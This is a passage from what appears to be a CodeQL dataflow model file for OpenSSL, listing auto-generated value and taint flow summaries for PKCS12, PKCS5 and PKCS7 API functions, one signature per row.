["", "", True, "PKCS12_SAFEBAG_get1_cert_ex", "(const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get1_cert_ex", "(const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get1_cert_ex", "(const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get1_cert_ex", "(const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get1_crl_ex", "(const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get1_crl_ex", "(const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get1_crl_ex", "(const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get1_crl_ex", "(const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get_nid", "(const PKCS12_SAFEBAG *)", "", "Argument[*0].Field[**type].Field[*nid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_set0_attrs", "(PKCS12_SAFEBAG *,stack_st_X509_ATTRIBUTE *)", "", "Argument[*1]", "Argument[*0].Field[**attrib]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_set0_attrs", "(PKCS12_SAFEBAG *,stack_st_X509_ATTRIBUTE *)", "", "Argument[1]", "Argument[*0].Field[*attrib]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_add_cert", "(stack_st_PKCS12_SAFEBAG **,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS12_add_cert", "(stack_st_PKCS12_SAFEBAG **,X509 *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_add_key", "(stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_add_key_ex", "(stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_add_safe", "(stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS12_add_safe", "(stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_add_safe_ex", "(stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS12_add_safe_ex", "(stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_add_safes", "(stack_st_PKCS7 *,int)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS12_add_safes", "(stack_st_PKCS7 *,int)", "", "Argument[1]", "ReturnValue[*].Field[**authsafes].Field[**type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_add_safes", "(stack_st_PKCS7 *,int)", "", "Argument[1]", "ReturnValue[*].Field[**authsafes].Field[*type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_add_safes_ex", "(stack_st_PKCS7 *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS12_add_safes_ex", "(stack_st_PKCS7 *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**authsafes].Field[**type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_add_safes_ex", "(stack_st_PKCS7 *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**authsafes].Field[*type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_add_secret", "(stack_st_PKCS12_SAFEBAG **,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_create", "(const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "PKCS12_create", "(const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int)", "", "Argument[*4].Field[**data]", "Argument[*4].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_create_ex2", "(const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "PKCS12_create_ex2", "(const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *)", "", "Argument[*4].Field[**data]", "Argument[*4].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_create_ex", "(const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "PKCS12_create_ex", "(const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*4].Field[**data]", "Argument[*4].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_free", "(PKCS12 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS12_free", "(PKCS12 *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS12_get0_mac", "(const ASN1_OCTET_STRING **,const X509_ALGOR **,const ASN1_OCTET_STRING **,const ASN1_INTEGER **,const PKCS12 *)", "", "Argument[*4]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "PKCS12_get0_mac", "(const ASN1_OCTET_STRING **,const X509_ALGOR **,const ASN1_OCTET_STRING **,const ASN1_INTEGER **,const PKCS12 *)", "", "Argument[*4]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "PKCS12_get0_mac", "(const ASN1_OCTET_STRING **,const X509_ALGOR **,const ASN1_OCTET_STRING **,const ASN1_INTEGER **,const PKCS12 *)", "", "Argument[*4]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "PKCS12_get0_mac", "(const ASN1_OCTET_STRING **,const X509_ALGOR **,const ASN1_OCTET_STRING **,const ASN1_INTEGER **,const PKCS12 *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "PKCS12_init", "(int)", "", "Argument[0]", "ReturnValue[*].Field[**authsafes].Field[**type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_init", "(int)", "", "Argument[0]", "ReturnValue[*].Field[**authsafes].Field[*type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_init_ex", "(int,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**authsafes].Field[**type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_init_ex", "(int,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**authsafes].Field[*type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_item_decrypt_d2i", "(const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_decrypt_d2i", "(const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_decrypt_d2i", "(const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int)", "", "Argument[*4]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_decrypt_d2i", "(const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int)", "", "Argument[*4]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_decrypt_d2i_ex", "(const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_decrypt_d2i_ex", "(const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_decrypt_d2i_ex", "(const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_decrypt_d2i_ex", "(const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_i2d_encrypt", "(X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int)", "", "Argument[*1]", "Argument[4]", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_i2d_encrypt", "(X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int)", "", "Argument[*4]", "Argument[4]", "value", "df-generated"] + - ["", "", True, "PKCS12_item_i2d_encrypt", "(X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int)", "", "Argument[*4]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_i2d_encrypt", "(X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int)", "", "Argument[4]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_i2d_encrypt_ex", "(X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[4]", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_i2d_encrypt_ex", "(X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "Argument[4]", "value", "df-generated"] + - ["", "", True, "PKCS12_item_i2d_encrypt_ex", "(X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_i2d_encrypt_ex", "(X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_pack_safebag", "(void *,const ASN1_ITEM *,int,int)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS12_item_pack_safebag", "(void *,const ASN1_ITEM *,int,int)", "", "Argument[3]", "ReturnValue[*].Field[**type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_item_pack_safebag", "(void *,const ASN1_ITEM *,int,int)", "", "Argument[3]", "ReturnValue[*].Field[*type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_pack_authsafes", "(PKCS12 *,stack_st_PKCS7 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS12_pack_p7data", "(stack_st_PKCS12_SAFEBAG *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS12_pack_p7encdata", "(int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *)", "", "Argument[*6]", "Argument[6]", "value", "df-generated"] + - ["", "", True, "PKCS12_pack_p7encdata_ex", "(int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[*6]", "Argument[6]", "value", "df-generated"] + - ["", "", True, "PKCS12_pack_p7encdata_ex", "(int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[*7]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_pack_p7encdata_ex", "(int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[*8]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_pack_p7encdata_ex", "(int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[7]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_pack_p7encdata_ex", "(int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[8]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_parse", "(PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **)", "", "Argument[**3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "PKCS12_parse", "(PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PKCS12_parse", "(PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_parse", "(PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_parse", "(PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_parse", "(PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_pbe_crypt", "(const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int)", "", "Argument[4]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_pbe_crypt", "(const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int)", "", "Argument[4]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_pbe_crypt", "(const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int)", "", "Argument[4]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_pbe_crypt_ex", "(const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_set_pbmac1_pbkdf2", "(PKCS12 *,const char *,int,unsigned char *,int,int,const EVP_MD *,const char *)", "", "Argument[4]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "PKCS1_MGF1", "(unsigned char *,long,const unsigned char *,long,const EVP_MD *)", "", "Argument[*4].Field[*md_size]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PKCS1_MGF1", "(unsigned char *,long,const unsigned char *,long,const EVP_MD *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PKCS1_MGF1", "(unsigned char *,long,const unsigned char *,long,const EVP_MD *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PKCS5_PBE_keyivgen", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int)", "", "Argument[4]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_PBE_keyivgen", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int)", "", "Argument[4]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_PBE_keyivgen", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int)", "", "Argument[6]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_PBE_keyivgen_ex", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_PBE_keyivgen_ex", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_PBE_keyivgen_ex", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_pbe_set0_algor", "(X509_ALGOR *,int,int,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS5_pbe_set0_algor", "(X509_ALGOR *,int,int,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS5_pbe_set0_algor_ex", "(X509_ALGOR *,int,int,const unsigned char *,int,OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*0].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS5_pbe_set0_algor_ex", "(X509_ALGOR *,int,int,const unsigned char *,int,OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*0].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS5_pbe_set", "(int,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue[*].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS5_pbe_set", "(int,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue[*].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS5_pbe_set_ex", "(int,int,const unsigned char *,int,OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS5_pbe_set_ex", "(int,int,const unsigned char *,int,OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS5_v2_PBE_keyivgen", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int)", "", "Argument[6]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_v2_PBE_keyivgen_ex", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_v2_PBKDF2_keyivgen", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int)", "", "Argument[6]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_v2_PBKDF2_keyivgen_ex", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_v2_scrypt_keyivgen", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int)", "", "Argument[6]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_v2_scrypt_keyivgen_ex", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_DIGEST_free", "(PKCS7_DIGEST *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_DIGEST_free", "(PKCS7_DIGEST *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_ENCRYPT_free", "(PKCS7_ENCRYPT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_ENCRYPT_free", "(PKCS7_ENCRYPT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_ENC_CONTENT_free", "(PKCS7_ENC_CONTENT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_ENC_CONTENT_free", "(PKCS7_ENC_CONTENT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_ENVELOPE_free", "(PKCS7_ENVELOPE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_ENVELOPE_free", "(PKCS7_ENVELOPE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_ISSUER_AND_SERIAL_digest", "(PKCS7_ISSUER_AND_SERIAL *,const EVP_MD *,unsigned char *,unsigned int *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_ISSUER_AND_SERIAL_free", "(PKCS7_ISSUER_AND_SERIAL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_ISSUER_AND_SERIAL_free", "(PKCS7_ISSUER_AND_SERIAL *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_RECIP_INFO_free", "(PKCS7_RECIP_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_RECIP_INFO_free", "(PKCS7_RECIP_INFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_RECIP_INFO_get0_alg", "(PKCS7_RECIP_INFO *,X509_ALGOR **)", "", "Argument[*0].Field[**key_enc_algor]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_RECIP_INFO_get0_alg", "(PKCS7_RECIP_INFO *,X509_ALGOR **)", "", "Argument[*0].Field[*key_enc_algor]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_RECIP_INFO_set", "(PKCS7_RECIP_INFO *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*cert]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_SIGNED_free", "(PKCS7_SIGNED *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_SIGNED_free", "(PKCS7_SIGNED *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_free", "(PKCS7_SIGNER_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_free", "(PKCS7_SIGNER_INFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_get0_algs", "(PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_get0_algs", "(PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_get0_algs", "(PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_get0_algs", "(PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_get0_algs", "(PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_get0_algs", "(PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_set", "(PKCS7_SIGNER_INFO *,X509 *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*3].Field[*type]", "Argument[*0].Field[**digest_alg].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_set", "(PKCS7_SIGNER_INFO *,X509 *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*3].Field[*type]", "Argument[*0].Field[**digest_alg].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_set", "(PKCS7_SIGNER_INFO *,X509 *,EVP_PKEY *,const EVP_MD *)", "", "Argument[2]", "Argument[*0].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_SIGN_ENVELOPE_free", "(PKCS7_SIGN_ENVELOPE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_SIGN_ENVELOPE_free", "(PKCS7_SIGN_ENVELOPE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_add_attrib_smimecap", "(PKCS7_SIGNER_INFO *,stack_st_X509_ALGOR *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS7_add_certificate", "(PKCS7 *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS7_add_certificate", "(PKCS7 *,X509 *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PKCS7_add_crl", "(PKCS7 *,X509_CRL *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS7_add_crl", "(PKCS7 *,X509_CRL *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PKCS7_add_recipient", "(PKCS7 *,X509 *)", "", "Argument[*0].Field[*ctx]", "ReturnValue[*].Field[**ctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_add_recipient", "(PKCS7 *,X509 *)", "", "Argument[1]", "ReturnValue[*].Field[*cert]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_add_signature", "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*0].Field[*ctx]", "ReturnValue[*].Field[**ctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_add_signature", "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*3].Field[*type]", "ReturnValue[*].Field[**digest_alg].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_add_signature", "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*3].Field[*type]", "ReturnValue[*].Field[**digest_alg].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_add_signature", "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *)", "", "Argument[2]", "ReturnValue[*].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_add_signer", "(PKCS7 *,PKCS7_SIGNER_INFO *)", "", "Argument[*0].Field[*ctx]", "Argument[*1].Field[**ctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_ctrl", "(PKCS7 *,int,long,char *)", "", "Argument[*0].Field[*detached]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PKCS7_ctrl", "(PKCS7 *,int,long,char *)", "", "Argument[2]", "Argument[*0].Field[*detached]", "value", 